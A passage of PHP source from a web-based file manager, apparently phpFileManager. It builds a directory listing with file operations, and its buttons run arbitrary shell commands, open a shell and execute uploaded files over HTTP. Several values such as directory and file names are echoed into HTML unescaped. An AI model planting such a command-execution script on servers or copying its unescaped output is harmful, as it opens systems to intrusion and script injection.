                echo "<option $is_sel value=\"" . $aux[$x] . ":/\">" . $aux[$x] . ":/";
            }
        }
        echo "</select> ";
    }
    echo "<input type=button value=" . et('Refresh') . " onclick=\"atualizar()\"></tr></form>";
    echo "<tr valign=top><td>";
    clearstatcache();
    tree($fm_current_root, $fm_current_root, -1, 0);
    echo "</td></tr>";
    echo "
        <form name=\"login_form\" action=\"" . $path_info["basename"] . "\" method=\"post\" target=\"_parent\">
        <input type=hidden name=action value=1>
        <tr>
        <td height=10 colspan=2><input type=submit value=\"" . et('Leave') . "\">
        </tr>
        </form>
    ";
    echo "</table>
";
    echo "</body>
</html>";
}
function getmicrotime() {
    list($usec, $sec) = explode(" ", microtime());
    return ((float)$usec + (float)$sec);
}
function dir_list_form() {
    global $fm_current_root, $current_dir, $quota_mb, $resolveIDs, $order_dir_list_by, $islinux, $cmd_name, $ip, $path_info, $fm_color;
    $ti = getmicrotime();
    clearstatcache();
    $out = "<table border=0 cellspacing=1 cellpadding=4 width=\"100%\" bgcolor=\"#eeeeee\">
";
    if ($opdir = @opendir($current_dir)) {
        $has_files = false;
        $entry_count = 0;
        $total_size = 0;
        $entry_list = array();
        while ($file = readdir($opdir)) {
            if (($file != ".") && ($file != "..")) {
                $entry_list[$entry_count]["size"] = 0;
                $entry_list[$entry_count]["sizet"] = 0;
                $entry_list[$entry_count]["type"] = "none";
                if (is_file($current_dir . $file)) {
                    $ext = lowercase(strrchr($file, "."));
                    $entry_list[$entry_count]["type"] = "file";
                    // Funo filetype() returns only "file"...
                    $entry_list[$entry_count]["size"] = filesize($current_dir . $file);
                    $entry_list[$entry_count]["sizet"] = format_size($entry_list[$entry_count]["size"]);
                    if (strstr($ext, ".")) {
                        $entry_list[$entry_count]["ext"] = $ext;
                        $entry_list[$entry_count]["extt"] = $ext;
                    } else {
                        $entry_list[$entry_count]["ext"] = "";
                        $entry_list[$entry_count]["extt"] = "&nbsp;";
                    }
                    $has_files = true;
                } elseif (is_dir($current_dir . $file)) {
                    // Recursive directory size disabled
                    // $entry_list[$entry_count]["size"] = total_size($current_dir.$file);
                    $entry_list[$entry_count]["size"] = 0;
                    $entry_list[$entry_count]["sizet"] = "&nbsp;";
                    $entry_list[$entry_count]["type"] = "dir";
                }
                $entry_list[$entry_count]["name"] = $file;
                $entry_list[$entry_count]["date"] = date("Ymd", filemtime($current_dir . $file));
                $entry_list[$entry_count]["time"] = date("his", filemtime($current_dir . $file));
                $entry_list[$entry_count]["datet"] = date("d/m/y h:i", filemtime($current_dir . $file));
                if ($islinux && $resolveIDs) {
                    $entry_list[$entry_count]["p"] = show_perms(fileperms($current_dir . $file));
                    $entry_list[$entry_count]["u"] = get_user(fileowner($current_dir . $file));
                    $entry_list[$entry_count]["g"] = get_group(filegroup($current_dir . $file));
                } else {
                    $entry_list[$entry_count]["p"] = base_convert(fileperms($current_dir . $file), 10, 8);
                    $entry_list[$entry_count]["p"] = substr($entry_list[$entry_count]["p"], strlen($entry_list[$entry_count]["p"]) - 3);
                    $entry_list[$entry_count]["u"] = fileowner($current_dir . $file);
                    $entry_list[$entry_count]["g"] = filegroup($current_dir . $file);
                }
                $total_size+= $entry_list[$entry_count]["size"];
                $entry_count++;
            }
        }
        @closedir($opdir);
        if ($entry_count) {
            $or1 = "1A";
            $or2 = "2D";
            $or3 = "3A";
            $or4 = "4A";
            $or5 = "5A";
            $or6 = "6D";
            $or7 = "7D";
            switch ($order_dir_list_by) {
                case "1A":
                    $entry_list = array_csort($entry_list, "type", SORT_STRING, SORT_ASC, "name", SORT_STRING, SORT_ASC);
                    $or1 = "1D";
                break;
                case "1D":
                    $entry_list = array_csort($entry_list, "type", SORT_STRING, SORT_ASC, "name", SORT_STRING, SORT_DESC);
                    $or1 = "1A";
                break;
                case "2A":
                    $entry_list = array_csort($entry_list, "type", SORT_STRING, SORT_ASC, "p", SORT_STRING, SORT_ASC, "g", SORT_STRING, SORT_ASC, "u", SORT_STRING, SORT_ASC);
                    $or2 = "2D";
                break;
                case "2D":
                    $entry_list = array_csort($entry_list, "type", SORT_STRING, SORT_ASC, "p", SORT_STRING, SORT_DESC, "g", SORT_STRING, SORT_ASC, "u", SORT_STRING, SORT_ASC);
                    $or2 = "2A";
                break;
                case "3A":
                    $entry_list = array_csort($entry_list, "type", SORT_STRING, SORT_ASC, "u", SORT_STRING, SORT_ASC, "g", SORT_STRING, SORT_ASC);
                    $or3 = "3D";
                break;
                case "3D":
                    $entry_list = array_csort($entry_list, "type", SORT_STRING, SORT_ASC, "u", SORT_STRING, SORT_DESC, "g", SORT_STRING, SORT_ASC);
                    $or3 = "3A";
                break;
                case "4A":
                    $entry_list = array_csort($entry_list, "type", SORT_STRING, SORT_ASC, "g", SORT_STRING, SORT_ASC, "u", SORT_STRING, SORT_DESC);
                    $or4 = "4D";
                break;
                case "4D":
                    $entry_list = array_csort($entry_list, "type", SORT_STRING, SORT_ASC, "g", SORT_STRING, SORT_DESC, "u", SORT_STRING, SORT_DESC);
                    $or4 = "4A";
                break;
                case "5A":
                    $entry_list = array_csort($entry_list, "type", SORT_STRING, SORT_ASC, "size", SORT_NUMERIC, SORT_ASC);
                    $or5 = "5D";
                break;
                case "5D":
                    $entry_list = array_csort($entry_list, "type", SORT_STRING, SORT_ASC, "size", SORT_NUMERIC, SORT_DESC);
                    $or5 = "5A";
                break;
                case "6A":
                    $entry_list = array_csort($entry_list, "type", SORT_STRING, SORT_ASC, "date", SORT_STRING, SORT_ASC, "time", SORT_STRING, SORT_ASC, "name", SORT_STRING, SORT_ASC);
                    $or6 = "6D";
                break;
                case "6D":
                    $entry_list = array_csort($entry_list, "type", SORT_STRING, SORT_ASC, "date", SORT_STRING, SORT_DESC, "time", SORT_STRING, SORT_DESC, "name", SORT_STRING, SORT_ASC);
                    $or6 = "6A";
                break;
                case "7A":
                    $entry_list = array_csort($entry_list, "type", SORT_STRING, SORT_ASC, "ext", SORT_STRING, SORT_ASC, "name", SORT_STRING, SORT_ASC);
                    $or7 = "7D";
                break;
                case "7D":
                    $entry_list = array_csort($entry_list, "type", SORT_STRING, SORT_ASC, "ext", SORT_STRING, SORT_DESC, "name", SORT_STRING, SORT_ASC);
                    $or7 = "7A";
                break;
            }
        }
        $out.= "
        <script language=\"Javascript\" type=\"text/javascript\">
        <!--
        function go(arg) {
            document.location.href='" . addslashes($path_info["basename"]) . "?frame=3&current_dir=" . addslashes($current_dir) . "'+arg+'/';
        }
        function resolveIDs() {
            document.location.href='" . addslashes($path_info["basename"]) . "?frame=3&set_resolveIDs=1&current_dir=" . addslashes($current_dir) . "';
        }
        var entry_list = new Array();
        // Custom object constructor
        function entry(name, type, size, selected){
            this.name = name;
            this.type = type;
            this.size = size;
            this.selected = false;
        }
        // Declare entry_list for selection procedures";
        foreach ($entry_list as $i => $data) {
            $out.= "
entry_list['entry$i'] = new entry('" . addslashes($data["name"]) . "', '" . $data["type"] . "', " . $data["size"] . ", false);";
        }
        $out.= "
        // Select/Unselect Rows OnClick/OnMouseOver
        var lastRows = new Array(null,null);
        function selectEntry(Row, Action){
            if (multipleSelection){
                // Avoid repeated onmouseover events from same Row ( cell transition )
                if (Row != lastRows[0]){
                    if (Action == 'over') {
                        if (entry_list[Row.id].selected){
                            if (unselect(entry_list[Row.id])) {
                                Row.className = 'entryUnselected';
                            }
                            // Change the last Row when you change the movement orientation
                            if (lastRows[0] != null && lastRows[1] != null){
                                var LastRowID = lastRows[0].id;
                                if (Row.id == lastRows[1].id){
                                    if (unselect(entry_list[LastRowID])) {
                                        lastRows[0].className = 'entryUnselected';
                                    }
                                }
                            }
                        } else {
                            if (select(entry_list[Row.id])){
                                Row.className = 'entrySelected';
                            }
                            // Change the last Row when you change the movement orientation
                            if (lastRows[0] != null && lastRows[1] != null){
                                var LastRowID = lastRows[0].id;
                                if (Row.id == lastRows[1].id){
                                    if (select(entry_list[LastRowID])) {
                                        lastRows[0].className = 'entrySelected';
                                    }
                                }
                            }
                        }
                        lastRows[1] = lastRows[0];
                        lastRows[0] = Row;
                    }
                }
            } else {
                if (Action == 'click') {
                    var newClassName = null;
                    if (entry_list[Row.id].selected){
                        if (unselect(entry_list[Row.id])) newClassName = 'entryUnselected';
                    } else {
                        if (select(entry_list[Row.id])) newClassName = 'entrySelected';
                    }
                    if (newClassName) {
                        lastRows[0] = lastRows[1] = Row;
                        Row.className = newClassName;
                    }
                }
            }
            return true;
        }
        // Disable text selection and bind multiple selection flag
        var multipleSelection = false;
        if (is.ie) {
            document.onselectstart=new Function('return false');
            document.onmousedown=switch_flag_on;
            document.onmouseup=switch_flag_off;
            // Event mouseup is not generated over scrollbar.. curiously, mousedown is.. go figure.
            window.onscroll=new Function('multipleSelection=false');
            window.onresize=new Function('multipleSelection=false');
        } else {
            if (document.layers) window.captureEvents(Event.MOUSEDOWN);
            if (document.layers) window.captureEvents(Event.MOUSEUP);
            window.onmousedown=switch_flag_on;
            window.onmouseup=switch_flag_off;
        }
        // Using same function and a ternary operator couses bug on double click
        function switch_flag_on(e) {
            if (is.ie){
                multipleSelection = (event.button == 1);
            } else {
                multipleSelection = (e.which == 1);
            }
			var type = String(e.target.type);
			return (type.indexOf('select') != -1 || type.indexOf('button') != -1 || type.indexOf('input') != -1 || type.indexOf('radio') != -1);
        }
        function switch_flag_off(e) {
            if (is.ie){
                multipleSelection = (event.button != 1);
            } else {
                multipleSelection = (e.which != 1);
            }
            lastRows[0] = lastRows[1] = null;
            update_sel_status();
            return false;
        }
        var total_dirs_selected = 0;
        var total_files_selected = 0;
        function unselect(Entry){
            if (!Entry.selected) return false;
            Entry.selected = false;
            sel_totalsize -= Entry.size;
            if (Entry.type == 'dir') total_dirs_selected--;
            else total_files_selected--;
            return true;
        }
        function select(Entry){
            if(Entry.selected) return false;
            Entry.selected = true;
            sel_totalsize += Entry.size;
            if(Entry.type == 'dir') total_dirs_selected++;
            else total_files_selected++;
            return true;
        }
        function is_anything_selected(){
            var selected_dir_list = new Array();
            var selected_file_list = new Array();
            for(var x=0;x<" . (integer)count($entry_list) . ";x++){
                if(entry_list['entry'+x].selected){
                    if(entry_list['entry'+x].type == 'dir') selected_dir_list.push(entry_list['entry'+x].name);
                    else selected_file_list.push(entry_list['entry'+x].name);
                }
            }
            document.form_action.selected_dir_list.value = selected_dir_list.join('<|*|>');
            document.form_action.selected_file_list.value = selected_file_list.join('<|*|>');
            return (total_dirs_selected>0 || total_files_selected>0);
        }
        function format_size (arg) {
            var resul = '';
            if (arg>0){
                var j = 0;
                var ext = new Array(' bytes',' Kb',' Mb',' Gb',' Tb');
                while (arg >= Math.pow(1024,j)) ++j;
                resul = (Math.round(arg/Math.pow(1024,j-1)*100)/100) + ext[j-1];
            } else resul = 0;
            return resul;
        }
        var sel_totalsize = 0;
        function update_sel_status(){
            var t = total_dirs_selected+' " . et('Dir_s') . " " . et('And') . " '+total_files_selected+' " . et('File_s') . " " . et('Selected_s') . " = '+format_size(sel_totalsize);
            //document.getElementById(\"sel_status\").innerHTML = t;
            window.status = t;
        }
        // Select all/none/inverse
        function selectANI(Butt){
        	cancel_copy_move();
            for(var x=0;x<" . (integer)count($entry_list) . ";x++){
                var Row = document.getElementById('entry'+x);
                var newClassName = null;
                switch (Butt.value){
                    case '" . et('SelAll') . "':
                        if (select(entry_list[Row.id])) newClassName = 'entrySelected';
                    break;
                    case '" . et('SelNone') . "':
                        if (unselect(entry_list[Row.id])) newClassName = 'entryUnselected';
                    break;
                    case '" . et('SelInverse') . "':
                        if (entry_list[Row.id].selected){
                            if (unselect(entry_list[Row.id])) newClassName = 'entryUnselected';
                        } else {
                            if (select(entry_list[Row.id])) newClassName = 'entrySelected';
                        }
                    break;
                }
                if (newClassName) {
                    Row.className = newClassName;
                }
            }
            if (Butt.value == '" . et('SelAll') . "'){
                for(var i=0;i<2;i++){
                    document.getElementById('ANI'+i).value='" . et('SelNone') . "';
                }
            } else if (Butt.value == '" . et('SelNone') . "'){
                for(var i=0;i<2;i++){
                    document.getElementById('ANI'+i).value='" . et('SelAll') . "';
                }
            }
            update_sel_status();
            return true;
        }
        function download(arg){
            parent.frame1.location.href='" . addslashes($path_info["basename"]) . "?action=3&current_dir=" . addslashes($current_dir) . "&filename='+escape(arg);
        }
        function upload(){
            var w = 400;
            var h = 250;
            window.open('" . addslashes($path_info["basename"]) . "?action=10&current_dir=" . addslashes($current_dir) . "', '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=no,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
        }
        function execute_cmd(){
            var arg = prompt('" . et('TypeCmd') . ".');
            if(arg.length>0){
                if(confirm('" . et('ConfExec') . " \' '+arg+' \' ?')) {
                    var w = 800;
                    var h = 600;
                    window.open('" . addslashes($path_info["basename"]) . "?action=6&current_dir=" . addslashes($current_dir) . "&cmd='+escape(arg), '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
                }
            }
        }
        function decompress(arg){
            if(confirm('" . uppercase(et('Decompress')) . " \' '+arg+' \' ?')) {
                document.form_action.action.value = 72;
                document.form_action.cmd_arg.value = arg;
                document.form_action.submit();
            }
        }
        function execute_file(arg){
            if(arg.length>0){
                if(confirm('" . et('ConfExec') . " \' '+arg+' \' ?')) {
                    var w = 800;
                    var h = 600;
                    window.open('" . addslashes($path_info["basename"]) . "?action=11&current_dir=" . addslashes($current_dir) . "&filename='+escape(arg), '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
                }
            }
        }
        function edit_file(arg){
            var w = 1024;
            var h = 768;
            // if(confirm('" . uppercase(et('Edit')) . " \' '+arg+' \' ?'))
            window.open('" . addslashes($path_info["basename"]) . "?action=7&current_dir=" . addslashes($current_dir) . "&filename='+escape(arg), '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=no,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
        }
        function config(){
            var w = 650;
            var h = 400;
            window.open('" . addslashes($path_info["basename"]) . "?action=2', 'win_config', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
        }
        function server_info(arg){
            var w = 800;
            var h = 600;
            window.open('" . addslashes($path_info["basename"]) . "?action=5', 'win_serverinfo', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
        }
        function shell(){
            var w = 800;
            var h = 600;
            window.open('" . addslashes($path_info["basename"]) . "?action=9', '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
        }
        function view(arg){
            var w = 800;
            var h = 600;
            if(confirm('" . uppercase(et('View')) . " \' '+arg+' \' ?')) window.open('" . addslashes($path_info["basename"]) . "?action=4&current_dir=" . addslashes($current_dir) . "&filename='+escape(arg), '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=yes,toolbar=no,menubar=no,location=yes');
        }
        function rename(arg){
            var nome = '';
            if (nome = prompt('" . uppercase(et('Ren')) . " \' '+arg+' \' " . et('To') . " ...')) document.location.href='" . addslashes($path_info["basename"]) . "?frame=3&action=3&current_dir=" . addslashes($current_dir) . "&old_name='+escape(arg)+'&new_name='+escape(nome);
        }
        function set_dir_dest(arg){
            document.form_action.dir_dest.value=arg;
            if (document.form_action.action.value.length>0) test(document.form_action.action.value);
            else alert('" . et('JSError') . ".');
        }
        function sel_dir(arg){
            document.form_action.action.value = arg;
            document.form_action.dir_dest.value='';
            if (!is_anything_selected()) alert('" . et('NoSel') . ".');
            else {
                if (!getCookie('sel_dir_warn')) {
                    //alert('" . et('SelDir') . ".');
                    document.cookie='sel_dir_warn'+'='+escape('true')+';';
                }
                set_sel_dir_warn(true);
                parent.frame2.set_flag(true);
            }
        }
		function set_sel_dir_warn(b){
        	document.getElementById(\"sel_dir_warn\").style.display=(b?'':'none');
		}
		function cancel_copy_move(){
           	set_sel_dir_warn(false);
           	parent.frame2.set_flag(false);
		}
        function chmod_form(){
            cancel_copy_move();
            document.form_action.dir_dest.value='';
            document.form_action.chmod_arg.value='';
            if (!is_anything_selected()) alert('" . et('NoSel') . ".');
            else {
                var w = 280;
                var h = 180;
                window.open('" . addslashes($path_info["basename"]) . "?action=8', '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=no,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
            }
        }
        function set_chmod_arg(arg){
            cancel_copy_move();
            if (!is_anything_selected()) alert('" . et('NoSel') . ".');
            else {
            	document.form_action.dir_dest.value='';
            	document.form_action.chmod_arg.value=arg;
            	test(9);
			}
        }
        function test_action(){
            if (document.form_action.action.value != 0) return true;
            else return false;
        }
        function test_prompt(arg){
        	cancel_copy_move();
			var erro='';
            var conf='';
            if (arg == 1){
                document.form_action.cmd_arg.value = prompt('" . et('TypeDir') . ".');
            } else if (arg == 2){
                document.form_action.cmd_arg.value = prompt('" . et('TypeArq') . ".');
            } else if (arg == 71){
                if (!is_anything_selected()) erro = '" . et('NoSel') . ".';
                else document.form_action.cmd_arg.value = prompt('" . et('TypeArqComp') . "');
            }
            if (erro!=''){
                document.form_action.cmd_arg.focus();
                alert(erro);
            } else if(document.form_action.cmd_arg.value.length>0) {
                document.form_action.action.value = arg;
                document.form_action.submit();
            }
        }
        function strstr(haystack,needle){
            var index = haystack.indexOf(needle);
            return (index==-1)?false:index;
        }
        function valid_dest(dest,orig){
            return (strstr(dest,orig)==false)?true:false;
        }
        // ArrayAlert - Selection debug only
        function aa(){
            var str = 'selected_dir_list:
';
            for (x=0;x<selected_dir_list.length;x++){
                str += selected_dir_list[x]+'
';
            }
            str += '
selected_file_list:
';
            for (x=0;x<selected_file_list.length;x++){
                str += selected_file_list[x]+'
';
            }
            alert(str);
        }
        function test(arg){
        	cancel_copy_move();
            var erro='';
            var conf='';
            if (arg == 4){
                if (!is_anything_selected()) erro = '" . et('NoSel') . ".
';
                conf = '" . et('RemSel') . " ?
';
            } else if (arg == 5){
                if (!is_anything_selected()) erro = '" . et('NoSel') . ".
';
                else if(document.form_action.dir_dest.value.length == 0) erro = '" . et('NoDestDir') . ".';
                else if(document.form_action.dir_dest.value == document.form_action.current_dir.value) erro = '" . et('DestEqOrig') . ".';
                else if(!valid_dest(document.form_action.dir_dest.value,document.form_action.current_dir.value)) erro = '" . et('InvalidDest') . ".';
                conf = '" . et('CopyTo') . " \' '+document.form_action.dir_dest.value+' \' ?
';
            } else if (arg == 6){
                if (!is_anything_selected()) erro = '" . et('NoSel') . ".';
                else if(document.form_action.dir_dest.value.length == 0) erro = '" . et('NoDestDir') . ".';
                else if(document.form_action.dir_dest.value == document.form_action.current_dir.value) erro = '" . et('DestEqOrig') . ".';
                else if(!valid_dest(document.form_action.dir_dest.value,document.form_action.current_dir.value)) erro = '" . et('InvalidDest') . ".';
                conf = '" . et('MoveTo') . " \' '+document.form_action.dir_dest.value+' \' ?
';
            } else if (arg == 9){
                if (!is_anything_selected()) erro = '" . et('NoSel') . ".';
                else if(document.form_action.chmod_arg.value.length == 0) erro = '" . et('NoNewPerm') . ".';
                //conf = '" . et('AlterPermTo') . " \' '+document.form_action.chmod_arg.value+' \' ?
';
            }
            if (erro!=''){
                document.form_action.cmd_arg.focus();
                alert(erro);
            } else if(conf!='') {
                if(confirm(conf)) {
                    document.form_action.action.value = arg;
                    document.form_action.submit();
                } else {
                    set_sel_dir_warn(false);
				}
            } else {
                document.form_action.action.value = arg;
                document.form_action.submit();
            }
        }
        //-->
        </script>";
        $out.= "
        <form name=\"form_action\" action=\"" . $path_info["basename"] . "\" method=\"post\" onsubmit=\"return test_action();\">
            <input type=hidden name=\"frame\" value=3>
            <input type=hidden name=\"action\" value=0>
            <input type=hidden name=\"dir_dest\" value=\"\">
            <input type=hidden name=\"chmod_arg\" value=\"\">
            <input type=hidden name=\"cmd_arg\" value=\"\">
            <input type=hidden name=\"current_dir\" value=\"$current_dir\">
            <input type=hidden name=\"dir_before\" value=\"$dir_before\">
            <input type=hidden name=\"selected_dir_list\" value=\"\">
            <input type=hidden name=\"selected_file_list\" value=\"\">";
        $out.= "
            <tr>
            <td bgcolor=\"#DDDDDD\" colspan=50><nobr>
            <input type=button onclick=\"config()\" value=\"" . et('Config') . "\">
            <input type=button onclick=\"server_info()\" value=\"" . et('ServerInfo') . "\">
            <input type=button onclick=\"test_prompt(1)\" value=\"" . et('CreateDir') . "\">
            <input type=button onclick=\"test_prompt(2)\" value=\"" . et('CreateArq') . "\">
            <input type=button onclick=\"execute_cmd()\" value=\"" . et('ExecCmd') . "\">
            <input type=button onclick=\"upload()\" value=\"" . et('Upload') . "\">
            <input type=button onclick=\"shell()\" value=\"" . et('Shell') . "\">
            <b>$ip</b>
            </nobr>";
        $uplink = "";
        if ($current_dir != $fm_current_root) {
            $mat = explode("/", $current_dir);
            $dir_before = "";
            for ($x = 0;$x < (count($mat) - 2);$x++) $dir_before.= $mat[$x] . "/";
            $uplink = "<a href=\"" . $path_info["basename"] . "?frame=3&current_dir=$dir_before\"><<</a> ";
        }
        if ($entry_count) {
            $out.= "
                <tr bgcolor=\"#DDDDDD\"><td colspan=50><nobr>$uplink <a href=\"" . $path_info["basename"] . "?frame=3&current_dir=$current_dir\">$current_dir</a></nobr>
                <tr>
                <td bgcolor=\"#DDDDDD\" colspan=50><nobr>
                    <input type=\"button\" style=\"width:80\" onclick=\"selectANI(this)\" id=\"ANI0\" value=\"" . et('SelAll') . "\">
                    <input type=\"button\" style=\"width:80\" onclick=\"selectANI(this)\" value=\"" . et('SelInverse') . "\">
                    <input type=\"button\" style=\"width:80\" onclick=\"test(4)\" value=\"" . et('Rem') . "\">
                    <input type=\"button\" style=\"width:80\" onclick=\"sel_dir(5)\" value=\"" . et('Copy') . "\">
                    <input type=\"button\" style=\"width:80\" onclick=\"sel_dir(6)\" value=\"" . et('Move') . "\">
                    <input type=\"button\" style=\"width:100\" onclick=\"test_prompt(71)\" value=\"" . et('Compress') . "\">";
            if ($islinux) $out.= "
                    <input type=\"button\" style=\"width:100\" onclick=\"resolveIDs()\" value=\"" . et('ResolveIDs') . "\">";
            $out.= "
                    <input type=\"button\" style=\"width:100\" onclick=\"chmod_form()\" value=\"" . et('Perms') . "\">";
            $out.= "
                </nobr></td>
                </tr>
				<tr>
                <td bgcolor=\"#DDDDDD\" colspan=50 id=\"sel_dir_warn\" style=\"display:none\"><nobr><font color=\"red\">" . et('SelDir') . "...</font></nobr></td>
                </tr>";
            $file_count = 0;
            $dir_count = 0;
            $dir_out = array();
            $file_out = array();
            $max_opt = 0;
            foreach ($entry_list as $ind => $dir_entry) {
                $file = $dir_entry["name"];
                if ($dir_entry["type"] == "dir") {
                    $dir_out[$dir_count] = array();
                    $dir_out[$dir_count][] = "
                        <tr ID=\"entry$ind\" class=\"entryUnselected\" onmouseover=\"selectEntry(this, 'over');\" onmousedown=\"selectEntry(this, 'click');\">
                        <td><nobr><a href=\"JavaScript:go('" . addslashes($file) . "')\">$file</a></nobr></td>";
                    $dir_out[$dir_count][] = "<td>" . $dir_entry["p"] . "</td>";
                    if ($islinux) {
                        $dir_out[$dir_count][] = "<td><nobr>" . $dir_entry["u"] . "</nobr></td>";
                        $dir_out[$dir_count][] = "<td><nobr>" . $dir_entry["g"] . "</nobr></td>";
                    }
                    $dir_out[$dir_count][] = "<td><nobr>" . $dir_entry["sizet"] . "</nobr></td>";
                    $dir_out[$dir_count][] = "<td><nobr>" . $dir_entry["datet"] . "</nobr></td>";
                    if ($has_files) $dir_out[$dir_count][] = "<td>&nbsp;</td>";
                    // Opes de diretrio
                    if (is_writable($current_dir . $file)) $dir_out[$dir_count][] = "
                        <td align=center><a href=\"JavaScript:if(confirm('" . et('ConfRem') . " \'" . addslashes($file) . "\' ?')) document.location.href='" . addslashes($path_info["basename"]) . "?frame=3&action=8&cmd_arg=" . addslashes($file) . "&current_dir=" . addslashes($current_dir) . "'\">" . et('Rem') . "</a>";
                    if (is_writable($current_dir . $file)) $dir_out[$dir_count][] = "
                        <td align=center><a href=\"JavaScript:rename('" . addslashes($file) . "')\">" . et('Ren') . "</a>";
                    if (count($dir_out[$dir_count]) > $max_opt) {
                        $max_opt = count($dir_out[$dir_count]);
                    }
                    $dir_count++;
                } else {
                    $file_out[$file_count] = array();
                    $file_out[$file_count][] = "
                        <tr ID=\"entry$ind\" class=\"entryUnselected\" onmouseover=\"selectEntry(this, 'over');\" onmousedown=\"selectEntry(this, 'click');\">
                        <td><nobr><a href=\"JavaScript:download('" . addslashes($file) . "')\">$file</a></nobr></td>";
                    $file_out[$file_count][] = "<td>" . $dir_entry["p"] . "</td>";
                    if ($islinux) {
                        $file_out[$file_count][] = "<td><nobr>" . $dir_entry["u"] . "</nobr></td>";
                        $file_out[$file_count][] = "<td><nobr>" . $dir_entry["g"] . "</nobr></td>";
                    }
                    $file_out[$file_count][] = "<td><nobr>" . $dir_entry["sizet"] . "</nobr></td>";
                    $file_out[$file_count][] = "<td><nobr>" . $dir_entry["datet"] . "</nobr></td>";
                    $file_out[$file_count][] = "<td>" . $dir_entry["extt"] . "</td>";
                    // Opes de arquivo
                    if (is_writable($current_dir . $file)) $file_out[$file_count][] = "
                                <td align=center><a href=\"javascript:if(confirm('" . uppercase(et('Rem')) . " \'" . addslashes($file) . "\' ?')) document.location.href='" . addslashes($path_info["basename"]) . "?frame=3&action=8&cmd_arg=" . addslashes($file) . "&current_dir=" . addslashes($current_dir) . "'\">" . et('Rem') . "</a>";
                    else $file_out[$file_count][] = "<td>&nbsp;</td>";
                    if (is_writable($current_dir . $file)) $file_out[$file_count][] = "
                                <td align=center><a href=\"javascript:rename('" . addslashes($file) . "')\">" . et('Ren') . "</a>";
                    else $file_out[$file_count][] = "<td>&nbsp;</td>";
                    if (is_readable($current_dir . $file) && (strpos(".wav#.mp3#.mid#.avi#.mov#.mpeg#.mpg#.rm#.iso#.bin#.img#.dll#.psd#.fla#.swf#.class#.ppt#.tif#.tiff#.pcx#.jpg#.gif#.png#.wmf#.eps#.bmp#.msi#.exe#.com#.rar#.tar#.zip#.bz2#.tbz2#.bz#.tbz#.bzip#.gzip#.gz#.tgz#", $dir_entry["ext"] . "#") === false)) $file_out[$file_count][] = "
                                <td align=center><a href=\"javascript:edit_file('" . addslashes($file) . "')\">" . et('Edit') . "</a>";
                    else $file_out[$file_count][] = "<td>&nbsp;</td>";
                    if (is_readable($current_dir . $file) && (strpos(".txt#.sys#.bat#.ini#.conf#.swf#.php#.php3#.asp#.html#.htm#.jpg#.gif#.png#.bmp#", $dir_entry["ext"] . "#") !== false)) $file_out[$file_count][] = "
                                <td align=center><a href=\"javascript:view('" . addslashes($file) . "');\">" . et('View') . "</a>";
                    else $file_out[$file_count][] = "<td>&nbsp;</td>";
                    if (is_readable($current_dir . $file) && strlen($dir_entry["ext"]) && (strpos(".tar#.zip#.bz2#.tbz2#.bz#.tbz#.bzip#.gzip#.gz#.tgz#", $dir_entry["ext"] . "#") !== false)) $file_out[$file_count][] = "
                                <td align=center><a href=\"javascript:decompress('" . addslashes($file) . "')\">" . et('Decompress') . "</a>";
                    else $file_out[$file_count][] = "<td>&nbsp;</td>";
                    if (is_readable($current_dir . $file) && strlen($dir_entry["ext"]) && (strpos(".exe#.com#.sh#.bat#", $dir_entry["ext"] . "#") !== false)) $file_out[$file_count][] = "
                                <td align=center><a href=\"javascript:execute_file('" . addslashes($file) . "')\">" . et('Exec') . "</a>";
                    else $file_out[$file_count][] = "<td>&nbsp;</td>";
                    if (count($file_out[$file_count]) > $max_opt) {
                        $max_opt = count($file_out[$file_count]);
                    }
                    $file_count++;
                }
            }
            if ($dir_count) {
                $out.= "
                <tr>
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"" . $path_info["basename"] . "?frame=3&or_by=$or1&current_dir=$current_dir\">" . et('Name') . "</a></nobr></td>
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"" . $path_info["basename"] . "?frame=3&or_by=$or2&current_dir=$current_dir\">" . et('Perm') . "</a></nobr></td>";
                if ($islinux) $out.= "
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"" . $path_info["basename"] . "?frame=3&or_by=$or3&current_dir=$current_dir\">" . et('Owner') . "</a></td>
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"" . $path_info["basename"] . "?frame=3&or_by=$or4&current_dir=$current_dir\">" . et('Group') . "</a></nobr></td>";
                $out.= "
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"" . $path_info["basename"] . "?frame=3&or_by=$or5&current_dir=$current_dir\">" . et('Size') . "</a></nobr></td>
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"" . $path_info["basename"] . "?frame=3&or_by=$or6&current_dir=$current_dir\">" . et('Date') . "</a></nobr></td>";
                if ($file_count) $out.= "
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"" . $path_info["basename"] . "?frame=3&or_by=$or7&current_dir=$current_dir\">" . et('Type') . "</a></nobr></td>";
                $out.= "
                      <td bgcolor=\"#DDDDDD\" colspan=50>&nbsp;</td>
                </tr>";
            }
            foreach ($dir_out as $k => $v) {
                while (count($dir_out[$k]) < $max_opt) {
                    $dir_out[$k][] = "<td>&nbsp;</td>";
                }
                $out.= implode($dir_out[$k]);
                $out.= "</tr>";
            }
            if ($file_count) {
                $out.= "
                <tr>
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"" . $path_info["basename"] . "?frame=3&or_by=$or1&current_dir=$current_dir\">" . et('Name') . "</a></nobr></td>
